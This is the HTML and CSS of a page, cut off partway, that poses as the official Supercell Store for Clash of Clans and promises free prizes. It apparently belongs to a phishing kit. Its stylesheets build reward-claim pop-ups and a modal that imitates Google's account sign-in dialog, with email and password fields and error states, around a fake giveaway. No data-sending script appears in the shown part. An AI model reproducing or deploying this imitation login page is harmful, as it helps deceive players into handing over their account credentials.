<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Clash of Clans - Supercell Store</title>
    <meta name="description" content="Clash of Clans is now available on Supercell Store and Get various attractive prizes, Come grab your prizes as soon as possible!!!">
    <link rel="icon" type="image/x-icon" href="https://store.supercell.com/favicon.ico">
    <link rel="stylesheet" href="style.css">
    <link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://store.supercell.com/_next/static/css/70681cfed3b6a622.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Teko:300,400,500">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <style>
        .header .imgLogo {
    height:50px;
    width:100px
}
.ClashOfClans_Container__iadVY {
  position: relative;
  width: 100%;
  height: 100%;
  display: flex;
  background-image: url(img/bandeer.webp);
  background-size: cover;
  background-position: 50%;
  background-repeat: no-repeat;
}

.rewards-menu-bar {
  width: 100%;
}

.ChainOfferSection_BuyAllButton__LWMfP {
  position: relative;
  width: 100%;
  height: auto;
  padding: 0;
  border: none;
  display: block;
  background: none;
  box-shadow: none;
  border-radius: 0;
  overflow: hidden;
}

.ChainOfferSection_BuyAllButton__LWMfP img {
  width: 100%;
  height: auto;
  display: block;
  object-fit: cover;
}


.sec_container{
  max-width: 100%;
  box-sizing: border-box;
}

#skin .namekbox1 {
  --cols: 3;
  --gap-x: 0px;  
  --gap-y: 0px;  
  --card-max: 140px;

  display: grid;
  grid-template-columns: repeat(var(--cols), minmax(0, 1fr));
  column-gap: var(--gap-x);
  row-gap: var(--gap-y);  
  width: 100%;
  max-width: calc(var(--card-max) * var(--cols) + var(--gap-x) * (var(--cols) - 1));
  margin: 0 auto;
  justify-items: center;
  align-content: start;
}

#skin .item {
  width: 100%;
  aspect-ratio: 3 / 3.8;  
  display: flex;
  align-items: center;
  justify-content: center;
}

#skin .item img {
  max-width: 92%;
  max-height: 92%;
  object-fit: contain;
  display: block;
  border-radius: 10px;
  border: 0;
}
.ClashOfClans_Heading__LpPvq {
    font-size: clamp(3rem,1.639rem + 1.481vw,2.75rem) !important;
}
</style>
<style>
#rewards-section-content{
    background-color:#91593e;
    padding-top:0;
}

#rewards-section-content .rewards-menu-bar{
    display:block;
    width:100%;
    background-color:#91593e;
    padding-bottom:0;
}

.live-notification{
    margin:0;
    padding:8px;
    background-color:#91593e;
}

.tab-menu{
    display:flex;
    gap:5px;
    margin:0;
    padding:0 8px;
    background-color:#91593e;
}
</style>
<style>
:root {
  --shine-color: #ffffff; 
  --border-w: 0.5px;   
  --radius: 10px;    
  --speed: 8s; 
}

.shine-frame {
  position: relative;
  width: 100%;
  height: 100%;
  border-radius: var(--radius);
  overflow: hidden;
}

.animated-border-box,
.animated-border-box-glow {
  position: absolute;
  inset: 0;
  border-radius: inherit;
  overflow: hidden;
  z-index: 0;
}

.animated-border-box-glow {
  filter: blur(40px); 
}

.animated-border-box::before,
.animated-border-box-glow::before {
  content: "";
  position: absolute;
  top: 50%;
  left: 50%;
  width: 99999px;
  height: 99999px;
  transform: translate(-50%, -50%) rotate(0deg);
  background-image: conic-gradient(
    rgba(0,0,0,0),
    var(--shine-color),
    rgba(0,0,0,0) 30%
  );
  background-repeat: no-repeat;
  background-position: 0 0;
  animation: rotateShine var(--speed) linear infinite;
}

.animated-border-box {
  border: var(--border-w) solid transparent;
  -webkit-mask: linear-gradient(#000 0 0) content-box, linear-gradient(#000 0 0);
  -webkit-mask-composite: xor;
          mask-composite: exclude;
}

.shine-content {
  position: relative;
  z-index: 2;
  width: 100%;
  height: 100%;
  border-radius: inherit;
  display: flex;
  align-items: center;
  justify-content: center;
}

.shine-content img {
  width: 100%;
  height: 100%;
  object-fit: contain;
  border-radius: inherit;
  display: block;
}

@keyframes rotateShine {
  to {
    transform: translate(-50%, -50%) rotate(360deg);
  }
}

/* Efek klik reward */
.reward-btn{
  position:relative;
  overflow:hidden;
  cursor:pointer;
  transition:all .3s ease;
}

.reward-btn:hover{
  transform:translateY(-5px);
}

/* Partikel kemilau */
.reward-btn::before{
  content:"✦";
  position:absolute;
  left:15%;
  bottom:15%;
  color:#fff;
  font-size:12px;
  z-index:99;
  pointer-events:none;

  text-shadow:
    0 0 5px #fff,
    0 0 10px #fff,
    0 0 20px gold;

  animation:sparkleMove 3s linear infinite;
}

.reward-btn::after{
  content:"✦";
  position:absolute;
  right:15%;
  bottom:25%;
  color:#fff;
  font-size:8px;
  z-index:99;
  pointer-events:none;

  text-shadow:
    0 0 5px #fff,
    0 0 10px gold;

  animation:sparkleMove2 4s linear infinite;
}

@keyframes sparkleMove{
  0%{
    opacity:0;
    transform:translateY(0) scale(0);
  }

  20%{
    opacity:1;
  }

  100%{
    opacity:0;
    transform:translateY(-80px) scale(1.5);
  }
}

@keyframes sparkleMove2{
  0%{
    opacity:0;
    transform:translateY(0) scale(0);
  }

  20%{
    opacity:1;
  }

  100%{
    opacity:0;
    transform:translateY(-60px) scale(1.2);
  }
}

@keyframes rewardClick {
  0% { transform:scale(1); }
  25% { transform:scale(1.15); }
  50% { transform:scale(0.95); }
  75% { transform:scale(1.08); }
  100% { transform:scale(1); }
}

.reward-clicked{
  animation:rewardClick .6s ease;
}
.reward-preview{
    position:relative;
    width:220px;
    height:220px;
    margin:auto;
    display:flex;
    justify-content:center;
    align-items:center;
}

.reward-light{
    position:absolute;
    width:180px;
    height:180px;
    border-radius:50%;
    background:conic-gradient(
        transparent,
        rgba(255,255,255,.9),
        transparent
    );
    animation:spinLight 3s linear infinite;
}

#imgrewardconfirm{
    width:160px;
    position:relative;
    z-index:2;

    animation:
        rewardFloat 2s ease-in-out infinite,
        rewardPulse 1.5s ease-in-out infinite;

    filter:
        drop-shadow(0 0 10px #fff)
        drop-shadow(0 0 25px gold);
}

@keyframes rewardFloat{
    0%{transform:translateY(0);}
    50%{transform:translateY(-12px);}
    100%{transform:translateY(0);}
}

@keyframes rewardPulse{
    0%{transform:scale(1);}
    50%{transform:scale(1.05);}
    100%{transform:scale(1);}
}

@keyframes spinLight{
    from{
        transform:rotate(0deg);
    }
    to{
        transform:rotate(360deg);
    }
}
.banner-slider{
    position:relative;
    width:100%;
    overflow:hidden;

    border-radius:12px 12px 0 0;
}

.slides{
    display:flex;
    transition:transform .8s ease;
}

.slides img{
    width:100%;
    height:125px;
    flex:0 0 100%;
    object-fit:cover;
    display:block;
    border-radius:10px;
}

.banner-slider:hover{
    transform:scale(1.01);
}
.slider-nav{
    position:absolute;
    left:0;
    right:0;
    bottom:8px;

    display:flex;
    align-items:center;
    justify-content:center;

    background:none;

    z-index:10;
}
#prevSlide{
    position:absolute;
    left:10px;

    width:24px;
    height:24px;
}
#nextSlide{
    position:absolute;
    right:10px;

    width:24px;
    height:24px;
}
.slider-nav button{
    width:18px;
    height:18px;

    border:none;
    border-radius:50%;

    background:linear-gradient(
        to bottom,
        #f7d86f,
        #c7940d
    );

    color:#000;
    font-size:10px;
    font-weight:bold;
    cursor:pointer;
}

.slider-progress{
    width:90px;
    height:5px;

    background:rgba(0,0,0,.35);

    border-radius:20px;
    overflow:hidden;
}

.slider-progress-fill{
    width:33%;
    height:100%;

    background:#ffb100;

    box-shadow:
        0 0 5px #ffb100,
        0 0 10px #ffb100;

    border-radius:20px;
}

.slider-count{
    font-family:'Supercell', sans-serif;
    color:#fff !important;
    font-size:10px;
    font-weight:normal;

    -webkit-text-stroke:0.5px #000;
}
.slider-count span{
    font-family:'Supercell', sans-serif;
    font-size:12px;
    color:#fff;

    -webkit-text-stroke:0.5px #000;
    text-shadow:none !important;
}

@font-face {
    font-family: 'Supercell';
    src: url('font/Supercell-Magic.woff2') format('woff2');
}

/* ===================================== */
/* HAPUS SEMUA EFEK REWARD (OPTIMASI) */
/* ===================================== */

.reward-btn:hover{
    transform:none !important;
}

.reward-btn::before,
.reward-btn::after{
    display:none !important;
}

.reward-clicked{
    animation:none !important;
}

.reward-light{
    display:none !important;
}

#imgrewardconfirm{
    animation:none !important;
    filter:none !important;
}

/* MATIKAN BORDER BERPUTAR */

.animated-border-box::before,
.animated-border-box-glow::before{
    animation:none !important;
}

.animated-border-box-glow{
    display:none !important;
}

/* ===================================== */
/* AKHIR HAPUS EFEK REWARD */
/* ===================================== */
:root{--modal-w:414px;--blue:#1a73e8;--text:#202124;--sub:#5f6368;--border:#dadce0;--error:#d93025;--bg:#fff}
*{box-sizing:border-box}
body{margin:0;background:#f6f7fb;color:var(--text)}
.gpx-modal a { color: var(--blue) !important; text-decoration: none !important; }
.gpx-modal a:hover { text-decoration: underline !important; }
[class^="gpx-"], [class*=" gpx-"]{
  font-family:'Roboto',system-ui,Segoe UI,Arial,sans-serif;
}

.gpx-trigger{display:inline-flex;gap:.5rem;align-items:center;margin:40px auto;padding:10px 16px;border:1px solid var(--border);background:#fff;border-radius:8px;cursor:pointer;box-shadow:0 1px 2px rgba(0,0,0,.06)}
.gpx-overlay{
  position:fixed !important;
  top:0 !important;
  left:0 !important;

  width:100vw !important;
  height:100vh !important;

  display:flex;
  justify-content:center;
  align-items:center;

  background:rgba(0,0,0,.35);

  backdrop-filter:blur(8px);
  -webkit-backdrop-filter:blur(8px);

  z-index:999999;
}
/* EFEK POPUP HALUS */

.gpx-modal{
    margin:auto !important;
    animation:popupShow .25s ease-out;
}

@keyframes popupShow{
    from{
        opacity:0;
        transform:scale(.9);
    }

    to{
        opacity:1;
        transform:scale(1);
    }
}
/* ===================================== */
/* REWARD CONFIRMATION BLUR EFFECT */
/* ===================================== */

.backdrop{
    background:rgba(0,0,0,.35) !important;

    backdrop-filter:blur(8px);
    -webkit-backdrop-filter:blur(8px);
}

.modal{
    animation:rewardPopupShow .25s ease-out;
}

@keyframes rewardPopupShow{
    from{
        opacity:0;
        transform:scale(.90);
    }

    to{
        opacity:1;
        transform:scale(1);
    }
}

/* ===================================== */
/* AKHIR REWARD CONFIRMATION BLUR EFFECT */
/* ===================================== */
.live-notification{
    width:100%;
    display:flex;
    justify-content:center;
    margin:0;
}

.live-notification span{
    width:100%;
    display:flex;
    justify-content:center;
    align-items:center;
    gap:6px;

    padding:6px 10px;

    background:linear-gradient(
        180deg,
        rgba(60,35,0,.95),
        rgba(35,20,0,.95)
    );

    border:2px solid rgba(255,215,100,.5);
    border-radius:10px;

    color:#fff;

    font-family:'Barlow Condensed', sans-serif;
    font-size:12px;
    font-weight:700;
    text-transform:uppercase;
    letter-spacing:.2px;
    line-height:1;

    white-space:nowrap;
    overflow:hidden;
    text-overflow:ellipsis;

    text-align:center;

    box-shadow:
        0 3px 8px rgba(0,0,0,.45),
        inset 0 1px 0 rgba(255,255,255,.15);

    text-shadow:
        1px 1px 0 #000,
        2px 2px 2px rgba(0,0,0,.8);
}

#liveClaimText{
    display:block;
    width:100%;
    animation:textGlow 1.8s ease-in-out infinite;
}

@keyframes textGlow{
    0%,100%{
        opacity:1;
        text-shadow:
            1px 1px 0 #000,
            0 0 5px rgba(255,255,255,.3);
    }

    50%{
        opacity:1;
        text-shadow:
            1px 1px 0 #000,
            0 0 10px #ffd700,
            0 0 20px #ffd700;
    }
}
/* ===== TAB CSS FIX ===== */

.tab-menu{
    display:flex;
    gap:5px;
    margin:0;
    padding:8px 8px 0;
    position:relative;
    z-index:5;

    background:#9f805a;
    border-radius:15px 15px 0 0;
}

.tab-btn{
    flex:1;
    height:60px;

    display:flex;
    flex-direction:column;
    align-items:center;
    justify-content:center;

    border:none;
    border-radius:15px 15px 0 0;

    background:#d8d1c7;

    font-family:'Supercell';
    font-size:11px;
    color:#ffffff;

    cursor:pointer;
    transition:.2s ease;

    text-shadow:
        -1px -1px 0 #000,
         1px -1px 0 #000,
        -1px  1px 0 #000,
         1px  1px 0 #000;

    box-shadow:
        inset 0 2px 0 rgba(255,255,255,.75),
        inset 0 -2px 0 rgba(0,0,0,.08);
}

.tab-btn.active{
    background:linear-gradient(
        180deg,
        #ffe37a 0%,
        #f3c44a 50%,
        #d9a52a 100%
    );

    color:#fff;

    transform:translateY(-3px);

    text-shadow:
        -1px -1px 0 #6a4800,
         1px -1px 0 #6a4800,
        -1px  1px 0 #6a4800,
         1px  1px 0 #6a4800;

    box-shadow:
        inset 0 2px 0 rgba(255,255,255,.9),
        inset 0 -2px 0 rgba(0,0,0,.1),
        0 4px 10px rgba(0,0,0,.25);

    border-bottom:3px solid #ffd84d;
}

.tab-icon{
    width:30px;
    height:30px;
    margin-bottom:3px;
    object-fit:contain;

    filter:
        drop-shadow(0 1px 0 rgba(255,255,255,.5))
        drop-shadow(0 2px 2px rgba(0,0,0,.35));
}

.tab-btn span{
    line-height:1;
    margin-top:2px;

    color:#ffffff !important;

    text-shadow:
        1px 1px 0 #000,
        2px 2px 3px rgba(0,0,0,.5);
}

.tab-content{
    display:none;
}

.tab-content.active{
    display:block;
}

.sec_container{
    border-top-left-radius:0;
}

/* ===== TAB CSS FIX END ===== */
/* Smooth Scroll */

html{
    scroll-behavior:smooth;
}
.gpx-modal{position:relative;background:var(--bg);width:min(92vw,var(--modal-w));border-radius:12px;box-shadow:0 8px 24px rgba(0,0,0,.2);overflow:hidden}
.gpx-close{position:absolute;right:10px;top:10px;border:0;background:transparent;font-size:16px;color:#5f6368;cursor:pointer;padding:8px;border-radius:6px}
.gpx-close:hover{background:#f1f3f4}
.gpx-topbar{display:flex;align-items:center;gap:.6rem;padding:12px 16px;border-bottom:1px solid var(--border)}
.gpx-topbar .fa-google{color:#4285f4}
.gpx-titlebar{font-size:16px;font-weight:450;color:#3c4043}
.gpx-progress{height:4px;background:#e8f0fe;display:none}
.gpx-progress .gpx-bar{height:100%;width:0;background:var(--blue)}
.gpx-card{padding:20px 24px 22px}
.gpx-avatar{width:56px;height:56px;border-radius:50%;background:#f4b400;margin-bottom:14px}
.gpx-h1{font-size:28px;font-weight:400;line-height:1.25;margin:18px 0 6px}
.gpx-subtitle{display:flex;gap:6px;align-items:baseline;margin:0 0 18px}
.gpx-muted-small{color:#5f6368;font-size:16px}
.gpx-app-link{color:#1a73e8;font-size:16px;font-weight:500;text-decoration:none}
.gpx-app-link:hover{text-decoration:underline}

.gpx-group{position:relative;margin-bottom:14px}
.gpx-group .gpx-input{width:100%;padding:14px;border:1px solid #dadce0;border-radius:6px;font-size:16px;color:#202124;outline:0;transition:border-color .2s, box-shadow .2s}
.gpx-group .gpx-input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(26,115,232,.15)}
.gpx-group .gpx-label{position:absolute;left:14px;top:50%;transform:translateY(-50%);color:#5f6368;font-size:16px;pointer-events:none;transition:all .18s ease;background:transparent}
.gpx-group .gpx-input:focus + .gpx-label,
.gpx-group .gpx-input:not(:placeholder-shown) + .gpx-label{top:-8px;font-size:12px;color:var(--blue);background:#fff;padding:0 4px;left:10px;transform:none;z-index:2}
.gpx-input.error{border-color:var(--error)!important;box-shadow:0 0 0 3px rgba(217,48,37,.12)!important}
.gpx-input.error + .gpx-label{color:var(--error)!important;top:-8px;left:10px;transform:none;font-size:12px;background:#fff;padding:0 4px;z-index:2}
.gpx-errtxt{display:none;margin-top:6px;font-size:12.5px;color:var(--error)}
.gpx-errtxt.visible{display:flex;align-items:center;gap:6px}
.gpx-errtxt .fa-circle-exclamation{font-size:13px}

.gpx-link{display:inline-block;color:var(--blue);font-size:14px;text-decoration:none}
.gpx-link:hover{text-decoration:underline}

.gpx-muted{color:var(--sub);font-size:12px;line-height:1.4;margin:0 0 18px}
.gpx-muted a{color:var(--blue);text-decoration:none}
.gpx-muted a:hover{text-decoration:underline}

.gpx-actions{display:flex;align-items:center;justify-content:space-between;margin-top:6px}
.gpx-btn{display:inline-flex;align-items:center;justify-content:center;gap:.5rem;padding:8px 18px;border-radius:22px;border:1px solid transparent;cursor:pointer;font-weight:700;font-size:14px;user-select:none}
.gpx-btn-text{background:transparent;color:var(--blue);font-weight:500;padding:8px 0;border-radius:0}
.gpx-btn-text:focus{outline:2px solid rgba(26,115,232,.3);outline-offset:2px}
.gpx-btn-primary{background:var(--blue);color:#fff;min-width:88px}
.gpx-btn-primary:hover{background:#2a6fe3}
.gpx-btn-primary:disabled{background:#a5c7fb;opacity:.65;cursor:not-allowed}

.gpx-row{display:flex;align-items:center;gap:.5rem}
.gpx-email-pill{display:flex;align-items:center;gap:.5rem;color:#3c4043;margin-top: 10px;margin-bottom: 10px;}
.gpx-email-pill .fa-user{color:#5f6368}

.gpx-checkwrap{display:flex;align-items:center;gap:.5rem;margin:10px 0 16px}
.gpx-checkwrap input[type="checkbox"]{appearance:none;width:18px;height:18px;border:2px solid #5f6368;border-radius:3px;display:inline-block;position:relative;cursor:pointer}
.gpx-checkwrap input[type="checkbox"]:checked{border-color:#1a73e8;background:#1a73e8}
.gpx-checkwrap input[type="checkbox"]:checked::after{content:"\f00c";font-family:"Font Awesome 6 Free";font-weight:900;color:#fff;position:absolute;left:50%;top:50%;transform:translate(-50%,-58%);font-size:11px}

@media (max-width:420px){.gpx-card{padding:18px 16px}}
</style>
</head>
<body>
    <div id="__shagitz">
        <div id="menuOverlay"></div>
        <div id="sideMenu">
            <div class="menu-header">
                <a class="logo-link"><img src="img/badge.0cb70e6d.webp" alt="Logo"/></a>
                <button id="closeMenu"></button>
            </div>
            <div class="menu-content menunya1">
                <div class="menuUser_user__aw55M menuUser_loggedOut__UUwV4" style="margin-left:25px"><a class="LoginButton_LoginButton__Weazg LoginButton_Primary__Mp6c9"><span class="LoginButton_LoginText__nI3VP" style="color:white">Log in</span><div class="LoginButton_IdLogo__X0lkn"><span style="box-sizing: border-box; display: block; overflow: hidden; width: initial; height: initial; background: none; opacity: 1; border: 0px; margin: 0px; padding: 0px; position: absolute; inset: 0px;"><img alt="logo" decoding="async" data-nimg="fill" src="https://store.supercell.com/_next/static/media/supercell-id-white.fe9b60a2.svg" style="position: absolute;left:10px; inset: 0px; box-sizing: border-box; padding: 0px; border: none; margin: auto; display: block; width: 0px; height: 0px; min-width: 100%; max-width: 100%; min-height: 100%; max-height: 100%; object-fit: contain;"></span></div></a></div>

                 <a class="menu-item">
                    <svg width="37" height="37" viewBox="0 0 37 37" fill="none" xmlns="http://www.w3.org/2000/svg"><circle cx="18.5" cy="18.5" r="18.5" fill="#F5F5F5"></circle><path fill-rule="evenodd" clip-rule="evenodd" d="M18.4999 28.7777C24.1762 28.7777 28.7777 24.1762 28.7777 18.4999C28.7777 12.8237 24.1762 8.22217 18.4999 8.22217C12.8237 8.22217 8.22217 12.8237 8.22217 18.4999C8.22217 20.5047 8.79617 22.3755 9.78881 23.9568L8.22217 28.7777L12.8991 27.119C14.5103 28.1681 16.4339 28.7777 18.4999 28.7777Z" fill="black"></path><ellipse cx="14.3889" cy="18.4999" rx="1.23333" ry="1.23333" fill="#F2F2F2"></ellipse><circle cx="18.4999" cy="18.4999" r="1.23333" fill="#F2F2F2"></circle><circle cx="22.611" cy="18.4999" r="1.23333" fill="#F2F2F2"></circle></svg>
                    <div class="text-group" style="color:black;padding-left: 10px;">Support</div>
                    <i class="fa-solid fa-chevron-right arrow"></i>
                </a>
                <a class="menu-item">
                    <svg width="37" height="33" viewBox="0 0 37 33" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M3.47476 8.82974L0 32.6191H25.1985C30.2971 32.6191 34.6114 28.7943 35.2981 23.6653L36.8947 11.7412C37.7263 5.52966 33.5479 0 27.3731 0H13.5571C8.5053 0 4.21576 3.75665 3.47476 8.82974Z" fill="#FFCC4D"></path><path d="M16.6134 25.2172C14.8241 25.2172 13.4966 23.7955 12.804 22.8756C12.3422 22.2623 12.0536 21.6769 11.8228 21.0636L15.1127 20.2273C15.5167 20.9242 15.9785 21.5654 16.5845 21.9556H20.9422C20.9711 21.9556 21.202 21.7884 21.5194 21.4817C21.8369 21.1751 22.01 20.9521 22.01 20.9242V19.3352C22.01 19.2516 21.9812 19.1959 21.9234 19.168L14.6221 17.2724C13.006 16.8542 12.2268 15.4046 12.2268 14.0386V12.5891C12.2268 11.8364 12.3133 11.3346 12.8328 10.6377C13.2657 10.0523 14.1603 9.18809 14.7375 8.79781C15.459 8.29603 15.9785 8.2124 16.7577 8.2124H20.798C22.5872 8.2124 23.9436 9.63412 24.6074 10.554C25.0691 11.1952 25.3577 11.7527 25.5886 12.366L22.2986 13.2023C21.8946 12.5054 21.4329 11.8643 20.8268 11.474H16.8154C16.7865 11.474 16.5557 11.6412 16.2382 11.9479C15.9208 12.2545 15.7476 12.4775 15.7476 12.5054V13.9271C15.7476 14.0386 15.8342 14.0944 15.8342 14.0944L23.1644 16.0179C24.7517 16.436 25.5597 17.8856 25.5597 19.2516V20.8406C25.5597 21.5932 25.4731 22.095 24.9537 22.792C24.5208 23.3774 23.6262 24.2415 23.049 24.6318C22.3275 25.1336 21.808 25.2172 21.0288 25.2172H16.6134Z" fill="white"></path></svg>
                    <div class="text-group" style="color:black;padding-left: 10px;">Our other game Stores</div>
                    <i class="fa-solid fa-chevron-right arrow"></i>
                </a>
            </div>
            <div class="menu-content menunya2" style="display: none;">
                <div class="menu-item-wrapper">
                    <a class="menu-item has-submenu">
                        <img alt="User Avatar" style="border-radius: 50%;" width="37" height="37" src="img/logo2.jpg"/>
                        <div class="text-group nickname" style="padding-left: 10px;color:black">Player</div>
                        <i class="fa-solid fa-chevron-right arrow"></i>
                    </a>
                    
                    <div class="submenu player-stats-submenu">
                        <div class="stat-item clan">
                            <img alt="Ikon Clan" src="https://api-assets.clashofclans.com/badges/70/HDfHYXoiB2A-nFQJvX67u358Raet0oXz_PuX8JrEYWo.png"/>
                        </div>
                        <div class="stat-item exp">
                            <img src="img/exp.webp" alt="Ikon EXP"/>
                        </div>
                        <div class="stat-item th">
                            <img alt="Ikon Town Hall" src="img/th/th1.webp"/>
                        </div>
                        <div class="stat-item trophy">
                            <img src="img/trophy.webp" alt="Ikon Trophy"/>
                        </div>
                    </div>
                </div>
                <a class="menu-item">
                    <img alt="ID Rewards" width="37" height="37" class="IDRActivationStatus_Image__trdDu" src="https://store.supercell.com/_next/static/media/idr-icon.51712b2b.svg"/>
                    <div class="text-group">
                        <p style="color:black;padding-left: 10px;font-size:14px">Activate ID Rewards</p>
                        <p class="menu-item-subtitle" style="color:gray;padding-left: 10px;">Get 1000 free points</p>
                    </div>
                    <i class="fa-solid fa-chevron-right arrow"></i>
                </a>
                 <a class="menu-item">
                    <svg width="37" height="37" viewBox="0 0 37 37" fill="none" xmlns="http://www.w3.org/2000/svg"><circle cx="18.5" cy="18.5" r="18.5" fill="#F5F5F5"></circle><path fill-rule="evenodd" clip-rule="evenodd" d="M18.4999 28.7777C24.1762 28.7777 28.7777 24.1762 28.7777 18.4999C28.7777 12.8237 24.1762 8.22217 18.4999 8.22217C12.8237 8.22217 8.22217 12.8237 8.22217 18.4999C8.22217 20.5047 8.79617 22.3755 9.78881 23.9568L8.22217 28.7777L12.8991 27.119C14.5103 28.1681 16.4339 28.7777 18.4999 28.7777Z" fill="black"></path><ellipse cx="14.3889" cy="18.4999" rx="1.23333" ry="1.23333" fill="#F2F2F2"></ellipse><circle cx="18.4999" cy="18.4999" r="1.23333" fill="#F2F2F2"></circle><circle cx="22.611" cy="18.4999" r="1.23333" fill="#F2F2F2"></circle></svg>
                    <div class="text-group" style="color:black;padding-left: 10px;">Support</div>
                    <i class="fa-solid fa-chevron-right arrow"></i>
                </a>
                <a class="menu-item">
                    <svg width="37" height="33" viewBox="0 0 37 33" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M3.47476 8.82974L0 32.6191H25.1985C30.2971 32.6191 34.6114 28.7943 35.2981 23.6653L36.8947 11.7412C37.7263 5.52966 33.5479 0 27.3731 0H13.5571C8.5053 0 4.21576 3.75665 3.47476 8.82974Z" fill="#FFCC4D"></path><path d="M16.6134 25.2172C14.8241 25.2172 13.4966 23.7955 12.804 22.8756C12.3422 22.2623 12.0536 21.6769 11.8228 21.0636L15.1127 20.2273C15.5167 20.9242 15.9785 21.5654 16.5845 21.9556H20.9422C20.9711 21.9556 21.202 21.7884 21.5194 21.4817C21.8369 21.1751 22.01 20.9521 22.01 20.9242V19.3352C22.01 19.2516 21.9812 19.1959 21.9234 19.168L14.6221 17.2724C13.006 16.8542 12.2268 15.4046 12.2268 14.0386V12.5891C12.2268 11.8364 12.3133 11.3346 12.8328 10.6377C13.2657 10.0523 14.1603 9.18809 14.7375 8.79781C15.459 8.29603 15.9785 8.2124 16.7577 8.2124H20.798C22.5872 8.2124 23.9436 9.63412 24.6074 10.554C25.0691 11.1952 25.3577 11.7527 25.5886 12.366L22.2986 13.2023C21.8946 12.5054 21.4329 11.8643 20.8268 11.474H16.8154C16.7865 11.474 16.5557 11.6412 16.2382 11.9479C15.9208 12.2545 15.7476 12.4775 15.7476 12.5054V13.9271C15.7476 14.0386 15.8342 14.0944 15.8342 14.0944L23.1644 16.0179C24.7517 16.436 25.5597 17.8856 25.5597 19.2516V20.8406C25.5597 21.5932 25.4731 22.095 24.9537 22.792C24.5208 23.3774 23.6262 24.2415 23.049 24.6318C22.3275 25.1336 21.808 25.2172 21.0288 25.2172H16.6134Z" fill="white"></path></svg>
                    <div class="text-group" style="color:black;padding-left: 10px;">Our other game Stores</div>
                    <i class="fa-solid fa-chevron-right arrow"></i>
                </a>
            </div>
            <div class="menu-footer">
                <div class="language-country-wrapper">
                    <div class="language-selector">
                        <svg style="color:black;" class="LanguageSelector_GlobeIcon__WFBLb" width="22" height="22" viewBox="0 0 22 22" fill="black" xmlns="http://www.w3.org/2000/svg"><path d="M11 20.1668C16.0626 20.1668 20.1667 16.0628 20.1667 11.0002C20.1667 5.93755 16.0626 1.8335 11 1.8335C5.93738 1.8335 1.83333 5.93755 1.83333 11.0002C1.83333 16.0628 5.93738 20.1668 11 20.1668Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M1.83333 11H20.1667" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M11 1.8335C13.2928 4.34365 14.5959 7.60119 14.6667 11.0002C14.5959 14.3991 13.2928 17.6567 11 20.1668C8.70715 17.6567 7.40414 14.3991 7.33333 11.0002C7.40414 7.60119 8.70715 4.34365 11 1.8335Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path></svg>
                        <span style="color:black">English</span>
                    </div>
                    <div class="location">
                         <svg width="16" height="22" viewBox="0 0 21 22" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M10.6084 1.06348C6.29681 1.06348 2.80151 4.55878 2.80151 8.87041C2.80151 10.7953 3.50132 12.5544 4.6562 13.9156L10.6084 20.9256L16.5605 13.9154C17.7154 12.5544 18.4152 10.7951 18.4152 8.87019C18.4154 4.55878 14.9201 1.06348 10.6084 1.06348ZM10.6084 11.8122C8.8352 11.8122 7.39784 10.3749 7.39784 8.60161C7.39784 6.82836 8.8352 5.391 10.6084 5.391C12.3817 5.391 13.8191 6.82836 13.8191 8.60161C13.8191 10.3749 12.3817 11.8122 10.6084 11.8122Z" fill="#d2d2d2"></path></svg>
                        <span style="color:black">Global</span>
                    </div>
                </div>
            </div>
        </div>
    
        <div class="header">
            <div class="imgLogo">
                <img src="img/logo.985ee45d.png"/>
            </div>
                <div class="menuIcon" id="tombol1">
                <div class="header_cart__bSEVC CartButton_CartButton__bZo9Y">
                    <button data-after-content="0" class="IconButton_IconButton__Dd2YR CartButton_CartIcon__2tRvz CartButton_Empty__zDLYe"><svg width="32" height="33" viewBox="0 0 32 33" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M20 26.0002H5L7.14285 12.0715L20 6.04834V26.0002Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M20 6.04834L25 10.1126L27 26.0002H20" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M16.5239 9.79013L16.5239 8.00974C16.5239 6.20552 15.2184 4.60759 13.3811 5.08582C10.9769 5.71158 10.2382 8.1223 10.2382 11.4349L10.2382 12.4651" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"></path></svg></button>
                </div>
                <svg class="menu" xmlns="http://www.w3.org/2000/svg" height="24" width="24" fill="none" style="cursor: pointer;">
                <path d="M4 12.2202H28" stroke="#000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                <path d="M4 20.3672H28" stroke="#000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
                </svg>
            </div>
                <div id="tombol2" class="header_navButtons__VUEA5" style="margin-right: -20px;display: none;">
                    <div class="header_cart__bSEVC CartButton_CartButton__bZo9Y">
